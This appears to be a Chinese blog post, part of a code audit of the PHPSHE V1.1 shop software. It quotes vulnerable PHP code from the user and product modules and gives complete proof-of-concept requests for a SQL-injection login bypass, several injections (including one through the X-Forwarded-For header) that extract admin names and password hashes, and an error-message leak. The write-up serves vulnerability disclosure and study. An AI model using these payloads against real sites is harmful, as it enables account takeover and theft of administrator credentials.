PHPSHE V1.1 (三)
user.php
接下來,我們來看看user
模塊。
//Line:10
case 'login':
if (isset($_p_pesubmit)) {
$_p_info['user_pw'] = md5($_p_info['user_pw']);
if ($info = $db->pe_select('user', $_p_info)) {
亮點在這裡if ($info = $db->pe_select('user', $_p_info)) {
,只要$info
不為空就成功登陸了。
簡單來一發萬能密碼,用戶名:' or 1=1-- -
,密碼隨意就ok了
【Bug 0x09: SQL注入 任意用戶登陸】
URL:
/index.php?mod=user&act=login
DATA:
info%5Buser_name%5D=1' or 1=1-- -
&info%5Buser_pw%5D=123456
&pesubmit=
繼續看
//Line:168
case 'base':
if (isset($_p_pesubmit)) {
if ($db->pe_update('user', array('user_id'=>$_s_user_id), pe_dbhold($_p_info))) {
pe_success('基本信息修改成功!');
}
else {
pe_error('基本信息修改失败...');
}
}
$info = $db->pe_select('user', array('user_id'=>$_s_user_id));
$seo = pe_seo($menutitle='基本信息');
include(pe_tpl('user_base.html'));
亮點在if ($db->pe_update('user', array('user_id'=>$_s_user_id), pe_dbhold($_p_info))) {
。
我們跟進pe_dbhold()
函數
//Line:30
//数据库安全
function pe_dbhold($str, $exc=array())
{
if (is_array($str)) {
foreach($str as $k => $v) {
$str[$k] = in_array($k, $exc) ? pe_dbhold($v, 'all') : pe_dbhold($v);
}
}
else {
$str = $exc == 'all' ? mysql_real_escape_string($str) : mysql_real_escape_string(htmlspecialchars($str));
}
return $str;
}
此處對數組的值進行了過濾,但是對數組的鍵沒有處理。
我們跟進pe_update()
函數
public function pe_update($table, $where, $set)
{
//处理设置语句
$sqlset = $this->_doset($set);
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_update("update `".dbpre."{$table}` {$sqlset} {$sqlwhere}");
}
同【Bug 0x06】一樣,經過_dowhere()
處理、一樣可以對其進行注入。
【Bug 0x09: SQL注入 獲取任意數據庫數據】
URL:
/index.php?mod=user&act=base
DATA:
info%5Buser_address`%3D(select concat(0x7e,admin_name,0x7e,admin_pw,0x7e) from pe_admin limit 1) , `user_tname%5D=1
product.php
第一個操作商品咨询就可能存在一個小BUG。
//Line:5
case 'askadd':
if (isset($_p_pesubmit)) {
...
$info['ask_text'] = pe_texthtml(pe_dbhold($_p_ask_text));
...
$info['user_ip'] = pe_ip();
if ($db->pe_insert('ask', $info)) {
...
$info['ask_text'] = htmlspecialchars($_p_ask_text);
【Bug 0x10: 信息洩漏 Warning】
POST:
/index.php?mod=product&act=askadd&id=1
DATA:
ask_text[]=asfasdfasfs&pesubmit=true
錯誤信息
Warning: nl2br() expects parameter 1 to be string, array given in E:\SourceCodes\phpshe1.1\include\function\global.func.php
Warning: htmlspecialchars() expects parameter 1 to be string, array given in E:\SourceCodes\phpshe1.1\module\index\product.php
然後還有一個亮點$info['user_ip'] = pe_ip();
,我們跟進pe_ip()
函數
//Line : 333
//获取ip
function pe_ip()
{
if (isset($_SERVER)){
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){
$realip = $_SERVER["HTTP_X_FORWARDED_FOR"];
...
return $realip;
明顯的XFF注入。只要在寫入數據庫的時候用到了這個函數獲取IP的地方、、都是一樣的注入。
【Bug 0x11: SQL注入 獲取任意數據庫數據】
POST:
/index.php?mod=product&act=askadd&id=1
x-forwarded-for:
1', `ask_replytext` = (select concat(0x7e,admin_name,0x7e,admin_pw,0x7e) from pe_admin limit 1)#
返回的信息在商品、賣家回覆裏。
再往下看,在商品列表操作中、又是一個大大的BUG出現了。
//Line:83
case 'list':
...
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'";
...
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
WHERE條件帶入了未经过滤的$_g_keyword
變量。
【Bug 0x12: SQL注入 獲取任意數據庫數據】
URL:
/index.php?mod=product&act=list&id=1&keyword=%' union select 1,admin_pw,1,1,1,admin_name,1,1,1,1,1,1,1,1,1,1,1,1,1 from pe_admin-- -
前臺審計到這裡差不多就結束了。。。
Copyright ©2016 由 Virink 技术博客 强力驱动